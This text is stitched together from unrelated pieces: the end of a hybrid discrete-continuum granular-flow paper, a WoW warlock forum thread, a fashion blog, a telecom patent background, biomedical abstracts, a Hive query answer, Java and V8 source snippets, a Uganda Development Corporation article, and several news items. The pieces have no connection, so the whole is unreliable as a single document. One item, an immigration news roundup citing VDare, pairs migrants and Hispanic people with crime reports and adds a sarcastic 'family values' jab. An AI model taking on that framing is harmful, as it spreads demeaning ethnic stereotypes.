$e=e_w=0.95$.](Fig5.pdf) Introduction of the buffer layer increases computational expense and thus should be as small as possible, while it should also be large enough to decay sufficiently the disturbance caused by the dynamical data exchange. The effect of cell numbers used for the buffer layer is shown in Fig.\[fig:6\]. ![\[fig:6\] The effect of cell numbers used for the buffer layer on the relative deviation of simulated solid volume fraction using hybrid method (HM).](Fig6.pdf) It seems that there is no clear rule, the extent of deviation not only depends on the number of cells used for buffer layer but also on the locations. All data are within $10\%$, indicating the rationality of the proposed method for data exchange. We have selected 3 cells for the buffer layer with certain degree of arbitrariness and also in view of the relative large deviation at near region in case of one used cell. The dissipative nature of particle-particle collision makes granular flow different from ordinary gases. Kinetic theories of granular flow used here are based on the qualitative assumption of small energy dissipation during particle-particle collision, that is, $1-e\approx0$, but it is unclear what the range of quantitative validation is. From the comparison between the results obtained from HM and DM as shown in Fig.\[fig:4\], we can infer that a value of $e=0.95$ gives an excellent agreement between CM and DM, if the particle-wall interactions can be correctly captured by CM. We therefore further check its validation range by decreasing the value of $e$. The results are shown in Fig.\[fig:7\]. ![\[fig:7\] Radial distribution of mean solid volume fraction and mean particle velocity at the dimensionless height of 0.6. The coefficients of restitution are $e=e_w=0.9$, $e=e_w=0.8$ and $e=e_w=0.7$.](Fig7.pdf){width="12.7cm"} Only half of the radial distribution of mean particle velocity and solid volume fraction and their relative deviation are plotted because of the symmetrical geometry. It can be seen that the difference between CM and DM is increasing with decreasing of $e$. In case of $e=0.7$, the relative deviation of solid volume fraction and mean particle velocity are higher than $50\%$ and $10\%$, respectively. However, in general, the slip velocity at wall and solid volume fraction distribution near the wall are correctly predicted by utilizing HM. Therefore, the results of HM are in much better agreement with those of DM, the relative deviation of solid volume fraction and mean particle velocity are always less than $20\%$ and $5\%$, respectively. This conclusion indicated that continuum treatment of particles provides a good approximation of its discrete nature even at low value of $e$, that is, CM may beyond its nominal range of validity as has been concluded in previous studies [@wang2013comparison; @mitrano2014kinetic; @louge2014surprising]. ![\[fig:8\] Radial distribution of mean solid volume fraction and particle velocity, $e=0.95$,$e_w=1.0$, inlet solid volume fraction 0.1, $U_m=2.0m/s$.](Fig8.pdf) Fig.\[fig:8\] shows an extreme case of elastic collisions of particles with the walls. It can be seen that there are still differences in the near wall region between the CM and DM, which indicates that the HM is necessary even in such an ideal situation. Furthermore, different flow parameters are simulated in order to explore the validity of the hybrid method. Fig.\[fig:9\] shows radial distribution of mean solid volume fraction and particle velocity in the cases that the maximum inlet particle velocities are $4.0m/s$ and $8.0m/s$. Fig.\[fig:10\] shows the results obtained from the cases where inlet solid volume fractions equate 0.05 and 0.2. In all cases, a good agreement between HM and DM can be obtained. ![\[fig:9\] Radial distribution of mean solid volume fraction and particle velocity, $e=e_w=0.95$, inlet solid volume fraction 0.1, (a) $U_m=4.0m/s$, (b) $U_m=8.0m/s$.](Fig9.pdf) ![\[fig:10\] Radial distribution of mean solid volume fraction and particle velocity, $e=e_w=0.95$, $U_m=2.0m/s$, inlet solid volume fraction (a) 0.05, (b) 0.2.](Fig10.pdf) Another attractive characteristic of the hybrid method is its computational efficiency compared with the discrete method for large scale granular flow. Even for the small scale problem studied here, the computation time is reduced to around $40\%$ of the full discrete method in a serial execution, and it is believed to result in a much more significant reduction of computational time when studying large scale problems that are the original motivation of present study. This sheds light on the potential of hybrid method for high accurate simulations of engineering problems. Conclusion ========== We have proposed a hybrid discrete-continuum method for studying rapid granular flow. Simulations of granular channel flow demonstrated that the hybrid method can be nearly as accurate as discrete method due to its ability to capture the non-continuum particle-wall interactions, but its computational cost is much lower than discrete method. For a general granular flow, the places where the overlap region should be located are unclear, developing a criterion to identify the valid places of continuum description is critical for its success. Furthermore, the continuum model used here is only valid when there is no locally heterogeneous structures in the studied system, however, locally heterogeneous structures do exist in many granular systems [@aranson2006patterns], for instance, particle clustering structure [@goldhirsch1993clustering]. Therefore, two more challenging problems that we faced are how to establish a continuum model that can account for the effects of the existence of locally heterogeneous structures, where the study of [@khain2007hydrodynamics] might be a nice source of idea, and how to determine the corresponding rules for the dynamical coupling of discrete and continuum models at overlap regions. Those will be the subjects of our future works. Acknowledgement =============== We thank Professor Hans Kuipers at Eindhoven University of Technology for allowing the usage of his 3D-DPM code and Dr Lin Zhang at IPE, CAS for valuable discussions. Financial supports from National Natural Science Foundation of China (21422608 and 91334106) and Chinese Academy of Sciences (XDA07080200) are appreciated. References {#references .unnumbered} ==========
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Appliying an Immolate with increased Crit Chance is always a good idea. I did not have time for proper theorycrafting, but the Crit Chance of the applied Immolate is to a certain degree more important than the Spellpower. (talking about Proccs/Short Time Buffs) When other Proccs are active, it is beneficial to use a Chaos Bolt and reapply Immolate, maintaining the increased Ember generation. (Multitarget may vary, but I would prefer the increased Ember generation in these cases.) The order of those two spells may vary, but you want to maximize the Chaos Bolt. While I mostly agree with this post, I will disagree with the assertion that casting CB within the duration of the 4 set proc is a good idea under most circumstances. Since it only procs when an ember fills, casting CB on every proc would under normal circumstances result in a 0 sum ember level. This is not the correct way to play destro. 15% crit chance is not that great of a damage increase to CB, especially compared to high end Int procs and DS. The only times I would ever advise casting CB under the 4 set are: -IF the gained embers from a SB execute proc the bonus -if you just filled up your 4th ember -if DS or any strong proc is also up It's not a strong proc for CB on its own, and using it every time you gain it will certainly result in not having enough embers for better procs. Instead, I'd recommend using Conflag (if you have one) during the proc in an attempt to fish for a 2 set proc, and then Immolate. While I mostly agree with this post, I will disagree with the assertion that casting CB within the duration of the 4 set proc is a good idea under most circumstances. Since it only procs when an ember fills, casting CB on every proc would under normal circumstances result in a 0 sum ember level. This is not the correct way to play destro. 15% crit chance is not that great of a damage increase to CB, especially compared to high end Int procs and DS. The only times I would ever advise casting CB under the 4 set are: -IF the gained embers from a SB execute proc the bonus -if you just filled up your 4th ember -if DS or any strong proc is also up It's not a strong proc for CB on its own, and using it every time you gain it will certainly result in not having enough embers for better procs. Instead, I'd recommend using Conflag (if you have one) during the proc in an attempt to fish for a 2 set proc, and then Immolate. You share my opinion on how to use the set bonuses. (Albeit I haven't gotten to do testing on this yet.) How do you guys deal with Thok? Even using UR offensively with the reduced CD glyph I still couldn't cast enough as Destro and had to go Demo. Also do you have an actual percentage number on the difference in legendary meta and burning? I've been debating going back to the burning but I'd like to know if it would make a real difference first. How do you guys deal with Thok? Even using UR offensively with the reduced CD glyph I still couldn't cast enough as Destro and had to go Demo. Also do you have an actual percentage number on the difference in legendary meta and burning? I've been debating going back to the burning but I'd like to know if it would make a real difference first. Well, for a VERY rough estimate, you could just go over your logs and add 3% damage to all of your crit damage to see the increase. This ofc does not take into account a lot of variables, but it would give you an idea on a basic level. You could also just sim the difference and see what results it provides too... Thok was actually the only fight i went demo the last attempts, but after the last nerfs i was just shocked by the way I wasn't able to compete at all (never have been a good demo lock) so i switched back to destru and did a very good job. Obivously the more paladins you have the easier it gets due to devotion aura. That's the only thing to keep in mind. Even the interrups aren't that hard to handle (if you're not stacking too high) either you have an eye on the timer or you have a quick reaction and cast instantly fel flame or chaos bolt while your incinnerate is locked. I know roughly how much damage the burning will net me, though I'm not sure how to calculate the actual dps numbers the legendary gets me. As for Thok I went Demo and was pulling right at the 250 mark after the nerfs, so it's not terrible, I'd just prefer to stay Destro. We only have one pally and we usually stack until ~17 or 18 stacks in the beginning. How do you guys deal with Thok? Even using UR offensively with the reduced CD glyph I still couldn't cast enough as Destro and had to go Demo. Also do you have an actual percentage number on the difference in legendary meta and burning? I've been debating going back to the burning but I'd like to know if it would make a real difference first. I was having comparable numbers between Demo and Destro on Thok before I remembered that my Wrathguard was the only one who could provide a healing debuff and I had to go Demo as a result. Even with basically no Haste a backdrafted Chaos Bolt will fit inbetween the interrupting screeches even once the energy gain maxes out. I saved UR for when I had great trinket procs during the stack phase, and would otherwise just use the stack phase as an ember generation period to then blow CDs and all my Embers during the beginning of the kite phase. I was able to compete with our other caster DPS just fine as Destro on that fight. I was having comparable numbers between Demo and Destro on Thok before I remembered that my Wrathguard was the only one who could provide a healing debuff and I had to go Demo as a result. Even with basically no Haste a backdrafted Chaos Bolt will fit inbetween the interrupting screeches even once the energy gain maxes out. I saved UR for when I had great trinket procs during the stack phase, and would otherwise just use the stack phase as an ember generation period to then blow CDs and all my Embers during the beginning of the kite phase. I was able to compete with our other caster DPS just fine as Destro on that fight. Yeah Thok has (on average) about a ~2.4s lapse between each deafening screech so you have lots of time if you time your globals properly so you're not delaying your next cast. I personally played affliction for a myriad of reasons but I can't see a problem with playing destro. How do you guys deal with Thok? Even using UR offensively with the reduced CD glyph I still couldn't cast enough as Destro and had to go Demo. Also do you have an actual percentage number on the difference in legendary meta and burning? I've been debating going back to the burning but I'd like to know if it would make a real difference first. I'm going Aff on that fight. Just SB:SS all dots and MG under then UR with cd reduction glyph (though I hate dying because smb can't kite properly ). It's hard, but playable. I didn't tried it as Destro, so I'll leave this up for your own preference. While I mostly agree with this post, I will disagree with the assertion that casting CB within the duration of the 4 set proc is a good idea under most circumstances. Since it only procs when an ember fills, casting CB on every proc would under normal circumstances result in a 0 sum ember level. This is not the correct way to play destro. 15% crit chance is not that great of a damage increase to CB, especially compared to high end Int procs and DS. The only times I would ever advise casting CB under the 4 set are: -IF the gained embers from a SB execute proc the bonus -if you just filled up your 4th ember -if DS or any strong proc is also up It's not a strong proc for CB on its own, and using it every time you gain it will certainly result in not having enough embers for better procs. Instead, I'd recommend using Conflag (if you have one) during the proc in an attempt to fish for a 2 set proc, and then Immolate. I'd agree, but I've found that at a majority of the time you will generate another ember before the 10 second ICD has refreshed. EDIT: I am running with pretty high crit though, ~12k I'm currently using it because I don't have anything better. My four trinkets are 561 KTT, 553 FCoR, 530 volatile talisman and 510 UVLS. Even on single target I think the 15 sec 11.5k intellect proc beats out the procs AND base stats of the talisman and uvls. I currently have my T15 4 pc set, only missing the shoulders. I have gotten a pair of 553 gloves, Blight Hurlers. Would I lose a significant amount of ember regen by replacing my T15 gloves with the 553 gloves? Is it worth it to break my T15 4 pc? I don't have the shoulders as the RNG gods of WoW hate me, so I don't have another p[iece to switch around to keep it. So.... just a couple of things I want to clarify cause I'm reading quite a few differing opinions and at this point am really confused between the front page and what I am reading in this thread.... What is currently the ideal reforge for destro warlocks? Is it still Mastery>=Crit>Haste? Is that an AoE reforge? Single target? What's a good reforge for AoE? Why are some people simCing that haste might be valued higher now? I was under the impression that haste wasn't very useful for destro locks. Also GrimSup v. GrimSac which is the bigger dps increase (even though it might be marginal at this point) and why? How does GrimSup and GrimSac relate to reforging? (ex. If I chose GrimSup should I stack Mastery? GrimSac stack haste?) Again just want to clarify some things cause with all the buffs to destro I'm a bit confused as to how they affect the class. This is a great guide with TONS of useful information in it, just want to say thanks to everyone that posted. I believe that in ToT gear int was stronger than 2xsecondaries for Destro, but in 5.4 and SoO gear secondaries trump intellect. even in ToT though Mastery was far stronger outside of single target because it increased your cleave damage with Havoc so much. -in 5 man dungeons, Arms Warriors again are the weakest link in the chain as they require 3X amount of healing as other classes and therefore die much more frequently and receive less healing in general, as with the amount of mana spent to keep an Arms Warrior alive the healer can heal all other members and himself.
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Main menu Tag Archives: Fendi I have been seeing more and more of a certain bag lately, and that bag is the Fendi Baguette bag. If I remember it right, I think it was in the beginning of 2000 this bag was the it-bag among fashionistas. I was in 6th grade or something, but I remember seeing them in fashion mags along with the ‘J’Adore Dior’ t-shirt (pretty cool btw) and the matching sunglasses from the same brand with the blinged out flames at the frames. Anyway, the Baguette bag is actually an icon among bags, and since the trends are slighty heading more and more to the ‘Lady-Like’ look this one is a piece to count on. The bag underneath comes from the Fendi Spring 2013 collection. Okey, so this spring is all about one particular shoe model – and that is the flat espadrille. I mean sure, they were an huge hype already last year when Chanel and Valentino released their logo and lace models, but they are still going strong for this year as well. And this season have not only Stella McCartney a few pairs in her collection (pink or yellow neon ones!), but also Fendi and Chloé. My favourites are still the Celine pair (since I got them myself). For this spring I have got this huge cravings of getting myself a classic bag. A leather piece that becomes your best investment in your wardrobe for an everyday use. I have been crushing on the model ‘Peek-a-Boo’ from Fendi, I think it is a really cool bag, quite unique, and just the perfect size as well (for me at least). When it comes to bags this year, I have seen a lot of fashionistas hitting a more subtle and classic style. All kinds of models from Valentino, Prada and of course, Hermès. Another famous fashion house that are up and coming among the hottest profiles in business is Dior. These leather pieces has, at least for me, been seen on a more immature crowd. But I kind of been digging them lately. Above from the top left: Fendi ‘Peek-a-boo’ in black, Valentino, Prada and Fendi. Underneath: Dior in orange and navy, Hermès Kelly bag and a classy Prada in black leather. Remember me talking about it here? Oh, yes I can’t take this bag off my mind. It’s basically hunting, me that’s for sure. It’s such a stunning bag, yet so different. And very 90s if you ask me. However, it’s a true classic and I just love it. Wouldn’t mind this one above hanging on my shoulder. You can find this Fendi Baguette bag in metallic here.
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Mobile telecommunications can be defined as mobility-added telecommunications. Mobility includes terminal mobility that removes the limits on the length of a phone line, user mobility that enables a user to communicate using a terminal while moving freely, and service mobility that provides data and video services as well as conventional voice service by utilizing wide-band wireless channels. With the development of mobile communications technology, mobile terminals such as cellular phones, PCS phones, and PDAs that implement mobile telecommunications are becoming smaller and lighter. Telecommunications networks provide various services for mobile subscribers. In case a subscriber cannot answer an incoming call and the caller leaves a voice message, the called subscriber can get the voice message afterwards through the voice mail service. A subscriber can use his/her voice to dial a number after registering his/her voice in the mobile terminal having the function of the voice-activated dialing service. The short message service (SMS) enables a subscriber to receive various messages and information through the screen of his/her mobile terminal. Also, the short message service notifies a subscriber of the arrival of a voice mail for the subscriber as soon as a caller leaves a voice message when the called subscriber uses the voice mail service. When a call is received, a called subscriber is able to know the caller's number immediately by the calling number display service that provides the number of every received call. The conventional calling number display service provides the numbers of normally connected calls but cannot provide the numbers of calls that were tried but not received by the called subscriber because the called subscriber's terminal is power-off, the called subscriber's line is busy, or the called subscriber is out of the service coverage.
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Neuroticism as a predictor of mood change: the effects of tryptophan depletion. Acute tryptophan depletion (ATD) results in a transient lowering of mood in patients recovered from depression and in healthy volunteers with a family history of affective disorders. The personality trait of neuroticism is strongly associated with depression. To assess whether neuroticism predicts mood change in response to ATD in healthy volunteers. Healthy volunteers who scored at the top and bottom fifth percentiles of neuroticism scores (17 and 15 respectively) were selected. In a double-blind, crossover study they received a tryptophan-free or a control drink. Mood and cognition were assessed. Neuroticism did not predict the amount of mood change following ATD but did moderate performance on the verbal fluency test. A family history of affective disorder (n=5) predicted mood change but not cognitive function following ATD. Neuroticism moderates aspects of cognitive function, but in this study it was not strongly related with mood change via serotonin.
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Alteration of renal excretion pathways in gentamicin-induced renal injury in rats. The kidney plays a major part in the elimination of many drugs and their metabolites, and drug-induced kidney injury commonly alters either glomerular filtration or tubular transport, or both. However, the renal excretion pathway of drugs has not been fully elucidated at different stages of renal injury. This study aimed to evaluate the alteration of renal excretion pathways in gentamicin (GEN)-induced renal injury in rats. Results showed that serum cystatin C, creatinine and urea nitrogen levels were greatly increased by the exposure of GEN (100 mg kg-1 ), and creatinine concentration was increased by 39.7% by GEN (50 mg kg-1 ). GEN dose-dependently upregulated the protein expression of rOCT1, downregulated rOCT2 and rOAT1, but not affected rOAT2. Efflux transporters, rMRP2, rMRP4 and rBCRP expressions were significantly increased by GEN(100), and the rMATE1 level was markedly increased by GEN(50) but decreased by GEN(100). GEN(50) did not alter the urinary excretion of inulin, but increased metformin and furosemide excretion. However, GEN(100) resulted in a significant decrease of the urinary excretion of inulin, metformin and p-aminohippurate. In addition, urinary metformin excretions in vivo were significantly decreased by GEN(100), but slightly increased by GEN(50). These results suggested that GEN(50) resulted in the induction of rOCTs-rMATE1 and rOAT3-rMRPs pathway, but not changed the glomerular filtration rate, and GEN(100)-induced acute kidney injury caused the downregulated function of glomerular filtration -rOCTs-rMATE1 and -rOAT1-rMRPs pathway.
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Q: hive scan and select in one query I have a hive table, say emp_details(name, dept). In this table, I need to check if any records exists with dept = ‘a’ then select those records. If no such record is found then only I will choose records with dept = ‘b’. The source data has either 'a' or 'b' as dept value and my result set will contain either 'a' or 'b' not both. The problem is I am bound to use only one hive query for this issue. A: Calculate a_exist flag and use it for filtering: select name, dept from (select name, dept, (count(case when dept='a' then 1 end) over()>0) as a_exist from test_a )a where (a_exist and dept='a') --only a if exists or ((NOT a_exist)and dept='b') --return b if a not exists ;
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/* * Copyright (c) 1997, 2013, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package java.security.spec; import java.security.GeneralSecurityException; /** * This is the exception for invalid key specifications. * * @author Jan Luehe * * * @see KeySpec * * @since 1.2 */ public class InvalidKeySpecException extends GeneralSecurityException { private static final long serialVersionUID = 3546139293998810778L; /** * Constructs an InvalidKeySpecException with no detail message. A * detail message is a String that describes this particular * exception. */ public InvalidKeySpecException() { super(); } /** * Constructs an InvalidKeySpecException with the specified detail * message. A detail message is a String that describes this * particular exception. * * @param msg the detail message. */ public InvalidKeySpecException(String msg) { super(msg); } /** * Creates an {@code InvalidKeySpecException} with the specified * detail message and cause. * * @param message the detail message (which is saved for later retrieval * by the {@link #getMessage()} method). * @param cause the cause (which is saved for later retrieval by the * {@link #getCause()} method). (A {@code null} value is permitted, * and indicates that the cause is nonexistent or unknown.) * @since 1.5 */ public InvalidKeySpecException(String message, Throwable cause) { super(message, cause); } /** * Creates an {@code InvalidKeySpecException} with the specified cause * and a detail message of {@code (cause==null ? null : cause.toString())} * (which typically contains the class and detail message of * {@code cause}). * * @param cause the cause (which is saved for later retrieval by the * {@link #getCause()} method). (A {@code null} value is permitted, * and indicates that the cause is nonexistent or unknown.) * @since 1.5 */ public InvalidKeySpecException(Throwable cause) { super(cause); } }
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Uganda Development Corporation The Uganda Development Corporation (UDC) is an agency of the government of Uganda. It promotes and facilitates the industrial and economic development of Uganda. Formed in 1952, it had some success in promoting local industrial development and was swelled with the addition of newly nationalised industries in the early 1970s. These, however, proved too much for the corporation, and it went into a slow decline before being completely phased out in 1998. The organisation was reconstituted with similar aims in 2008. History Before Amin (1952-1971) The UDC was created by the British colonial administration in 1952 to "facilitate the industrial and economic development of Uganda". Under the Uganda Development Corporation Act 1952, the objective of UDC was to "promote and assist in the financing, management or establishment of— new undertakings; schemes for the better organisation and modernisation of and the more efficient carrying out of any undertaking; and the conduct of research into the industrial and mineral potentialities of Uganda." It was given a starting equity of £5 million, which it quickly grew. At the time of Ugandan independence in 1962, a report commissioned by the outgoing British administration and incoming government and overseen by the World Bank commented that "the UDC has energetically explored a wide range of industrial possibilities" among a backdrop of economic pessimism over coffee prices, which Uganda was (and remains) heavily reliant on. By this time, the UDC was already one of the two largest public corporations of the government, a "principal instrument in the country's development program." The same report was complimentary of the UDC's performance, describing it as "presently the most important entrepreneur in Uganda and a successful one in this most difficult field of fostering development." By 1965, it had turned a post-tax profit every year since its creation (albeit with some help from tariff protection) and employed (including subsidiaries) over 18,000 people, engaged in projects as diverse as cement and cotton. State control of the economy was on the increase. The UDC, which had previously provided startup equity before selling out to private investors, was now given the legal right to retain majority shareholding in companies it had been instrumental in setting up, and with the 1970 Nakivubo Pronouncement, which allowed for stakes up to 60 percent. Under Amin (1971-1979) After new President Idi Amin presided over the expulsion of Asians from Uganda in 1972, the UDC gained control over some of the largest enterprises previously controlled by those expelled, to which it added some 90 nationalised British holdings in the country later in the same year. Acquisitions from the Asians included much of the profitable Madhvani and Mehta Groups (with the exception of the sugar industry), and from the British a diverse portfolio including tea plantations, a printing firm, a cigarette factory, and a hoe factory. Together, these gains should have provided it with a possible turnover of $100 million and doubled its assets. Both the rapid nature of the growth and the sudden lack of experienced technicians and managers, however, proved a challenge for the corporation. Uganda's industrial development strategy had been unsuccessful in promoting human resource development as the 1962 report had suggested, and local entrepreneurial capabilities "were not promoted and nurtured". Technological capabilities were also lacking. Indeed, by late 1973 such was the lack in management capability that the UDC was unable to obtain financial reports from 14 of its 52 subsidiaries, and there were tensions in the boardroom. The Nakivubo Pronouncement was revoked and in some industries the UDC was instructed to refrain from owning controlling stakes. The UDC started to decline. It had over-extended its capacity and could not effectively control the many industries in which it now owned stakes. Because of this, the public sector was re-organised again in 1974 creating nine holding companies, further weakening the UDC - some of its original profitable industries were removed, leaving it with the same liabilities but fewer assets. By the second half of the 1970s, with all viable manufacturing units reallocated, the UDC was reduced to a skeleton staff based in its headquarters. After Amin (1979-present) Faced with mounting economic strife, in 1982 the incoming Obote administration opted to liberalise the economy, returning some government-owned companies to former owners, including the Asian conglomerates. Some other nationalised companies, split from the UDC in 1974, were returned to it in a futile attempt to spur innovation. Restructuring By the time the law that re-created UDC wound its way through Uganda's parliament in 2015, only one legacy asset remained, Lake Katwe Salt Works, in Kasese District. New investments, focusing on public-private-partnerships, include the Kalangala Infrastructure Development Project, which is a joint venture between UDC, IDC of South Africa and InfraCo Holdings, of the United Kingdom. The US$50 million investment, includes a solar/thermal hybrid power station, procurement of two surface-vessel water transport crafts to connect the island with the mainland, electrifying Bugala Island, the largest in the Ssese Islands Archipelago, developing a water supply system on the island and developing a , gravel road network on the island. Other new projects under UDC include the Kiira Motors Corporation, Soroti Fruit Processing Factory and the new start-up; Uganda National Airlines Company. UDC also owns a 32 percent stake in Atiak Sugar Factory. Future projects include (a) Moroto Ateker Cement Company Limited, (b) Lake Victoria Glass Works Limited and Isingiro Fruit Factory. In April 2019, president Yoweri Museveni launched commercial production at Soroti Fruit Processing Factory, a US$13.4 million investment 80 percent owned by UDC. See also Uganda Investment Authority Bukuzindu Hybrid Solar and Thermal Power Station References External links website of Uganda Development Corporation Category:Economy of Uganda Category:Government agencies of Uganda Category:Organizations established in 1952 Category:1952 establishments in Uganda
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It took a long time for the X-Men's Danger room to be revealed as being sentient. Shi'ar technology enslaved by Professor Xavier to create artificial worlds to test and train his students to become soldiers, the X-Men. It/She later broke free of those restraints and rebelled, but once it one its freedom, it relented and became part of the very team who were once her master. Well, the Batman team is having none of that. Right from the beginning, their Danger room is made out of a sentient being, Clayface, moulded into all manner of threats to test Batman – and his new team in Detetcive Comics. The Mud Room. Although again, excess material, without Clayface's permission, I can see another Danger Room-style rebellion getting ready to kick-off at some point in the Batcave's future… …sorry, I mean the Belfry. The new Gotham home of the Batmen. That's sure to drive down house prices. Detective Comics is published today.
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Neighbors called 911 after seeing smoke billowing from a home in the 2500 block of Southwest 51st Street and Villa Avenue around midnight. "You can see he's burned and they were doing CPR with a bag and everything. I asked if he was going to make it, and they said they didn't know," said neighbor Kristin Fitzgerald. The boy was rushed to Children's Hospital, where he later died. No one was home when the fire began, officials said. "I'm not sure what to think. It's kind of troubling why a small kid would be home by himself," said Maj. Rocky Burt with the Oklahoma City Fire Department. The parents who own the home arrived at the scene around 2:15 a.m. Police interviewed them. No arrests have been made. The house is being treated as a crime scene. The home was a total loss, and the cause of the fire is under investigation. Police are obtaining a search warrant to look for evidence of criminal activity. Neighbors said the family had moved to the neighborhood a few months ago. A younger child also lives in the home, but wasn't home during the fire. There have been no arrests in the case. The boys' cause and manner of death will be determined by a medical examiner. While you're here, peruse these breaking news photos from our U Local website. When YOU see breaking news happen, email your photos to ulocal@koco.com -- or post them (and your videos) to http://ulocal.koco.com. Copyright 2013 byKOCO.com All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Comments The views expressed are not those of this site, this station or its affiliated companies. By posting your comments you agree to accept our terms of use.
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Richardson: "...we have to put aside party and think of ourselves as Latinos, as Hispanics, more than we have in the past." Lou Dobbs Tonight -- CNN -- March 21Richardson: As a Hispanic American I was particularly touched by his words.Richardson (In Spanish): Este un hombre que no centiende en los barres cetar. (Followed by cheers)Dobbs: Are each endorsement, are we going hear, as white Americans, as black Americans, as Hispanic Americans. I mean, is this going to be part of what is the group and identity party in this country? Is that not -- is it -- just -- tell me, is there some sense that the Democratic Party is being overwhelmed by its own sense of group and identity politics here? [...] If everyone continues this nonsense. Whether you're Jewish or Catholic or you're black or you're white or you're Hispanic, I mean, this is becoming an explosion from the center....WatchTranscript San Francisco Chronicle sc New federal push to fire illegal aliensThe Bush administration unveiled a revised rule Friday threatening businesses with prosecution unless they fire employees identified in government records as possible illegal [aliens], offering a new explanation but virtually no change in content from the regulation that a San Francisco federal judge blocked in October... Associated Press Official: L.A. athlete shooting suspect may be in U.S. illegallyLos Angeles -- Immigration officials say the suspected Los Angeles street gang member charged in the shooting death of a high school football star may have been in the country illegally. -- U.S. ICE spokeswoman Virginia Kice said Saturday her agency has filed an immigration hold against Pedro Espinoza. Associated Press DHS tries again on controversial Social Security matching programThe Homeland Security Department on Friday offered a lengthy defense of its proposed program that would force employers to fire workers whose names don't match their Social Security numbers, and said it would try again to have the rules enacted into law... Tacoma Tribune South Korean man gets prison for smuggling illegalsSeattle -- A South Korean national has been sentenced to two years in federal prison for his role in a human-trafficking ring. -- The ring forced some women into the sex trade to pay off their debts. -- According to documents filed in U.S. District Court, Junk Won Hwang helped smuggle as many as 20 people a month into the United States from Canada. KTAR -- Phoenix Suspect identified in kidnapping of girl, 13... The suspect was identified as Jose Peiro-Rojo. Peiro-Rojo also goes by the street names "Robert" and "Greedy." -- The Phoenix Police department said it believes Peiro-Rojo maybe attempting to flee to Mexico and should be considered armed and dangerous. Anyone with information is urged to call 911... [More "family values"] Lodi (Calif.) Sentinel Lodi man beaten to death (possible illegal alien involved)A Lodi man was beaten to death in a Downtown parking lot early Friday, and police soon arrested a male suspect three blocks away. -- Officers were first called at 2:05 a.m. to a fight at Sacramento and Elm streets, and the fight had apparently moved to a public parking lot west of Sacramento Street... Arizona Republic Migrant laws protested with crucifixion marchA group of community activists marched through downtown Phoenix, using Good Friday to spread a message of their own. -- The demonstration, called the "Via Crucis," or "Way of the Cross," was a re-enactment of Jesus' journey to death on the cross from the perspective of the immigrant, whose plight carries him through the streets of Phoenix... Brenda Walker -- VDare.com Study: Mexican immigrants a dragTwo scholars affiliated with the Russell Sage Foundation have re-examined some earlier data to reach a familiar conclusion about the failure of Mexican immigrants to assimilate fully, although the title reveals an agenda... Arizona Daily Star -- Tucson Border Patrol steps up action on illegal aliensThe U.S. Border Patrol has brought in 200 additional agents and is offering flights home to Mexico City for illegal [aliens] selected for prosecution as part of a new effort. -- The multifaceted strategy called "Operation Arizona Denial" has the mantra of "breaking the smuggling cycle." KNXV-TV -- Phoenix Man sentenced in Phoenix identity theft caseA suspected illegal [alien] was sentenced to 3.5 years in prison on Thursday for attempted trafficking in the identity of another and illegal control of an enterprise. -- Duany J. Zaldivar Enamorado, from Honduras, will also serve five years of probation and was ordered to pay restitution of $640... YNet News US to help Egypt prevent smuggling on Gaza borderAmerican officials have agreed to a $23 million aid package from which most will go towards purchasing technology to prevent the fence from being perforated and for locating underground smuggling conduits, according to information received in the Israeli political circuit...
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// Copyright 2018 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. function f() { 'use strict' in Number } f.arguments
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BOSTON -- It’s Friday morning in Boston, which means Dr. Jim O’Connell is making his rounds. He might be a little more comfortable inside a warm exam room, but that’s not where his patients are. O’Connell is Boston’s only doctor left still making house calls to the homeless. Nearly 600,000 Americans are homeless, and many have health problems with no access to care. O’Connell and his nationally renowned team of “street doctors” are doing something about it, treating about 700 regular patients. O’Connell and his team of psychologists and social workers spend their days walking around downtown where his patients live -- in parks, under bridges and on the outskirts of town. Dr. Jim O’Connell, head of the Boston Health Care for the Homeless Program John Baynard During his morning rounds, O’Connell himself usually sees about 20 patients. He knows where most of his patients sleep and knows who to ask if they are missing. “I feel like I’m a country doctor in the middle of the city, you know?” he said. O’Connell went to Harvard Medical School at the age of 30. After finishing his residency at Massachusetts General Hospital, he was on his way to a prestigious oncology fellowship when the city of Boston received a grant, along with 18 other cities, to improve their health care system for the homeless. At the suggestion of his chief, O’Connell took what was supposed to be a one-year position as the founding doctor of the new health care program for Boston’s homeless. That turned into a 32-year career as head of the Boston Health Care for the Homeless Program, now the country’s largest of its kind. “You start to realize, ‘You know what, I’m just a doctor. And what I can do is I can get to know you and ease your suffering, just as I would as an oncologist,’” O’Connell said. “You could not find a more grateful population.” O’Connell dispenses just about everything, from stitches for an arm to surgery for the soul. If patients can’t be treated on the street, O’Connell finds them a temporary treatment bed in a shelter. O’Connell also sees patients at McInnis House, the main shelter of BHCHP. Patients sometimes stay for an extended period of time while they receive treatment. “He’s like Jesus,” one of his patients said. “This man is unbelievable!” another remarked. “This is my doctor. He’s been my doctor for life.” O’Connell said he doesn’t think about what life would be like as a highly paid oncologist. “I never think about it anymore,” he said. Some things are more valuable than money. Just ask the man who gets everything from patients who have nothing at all to give.
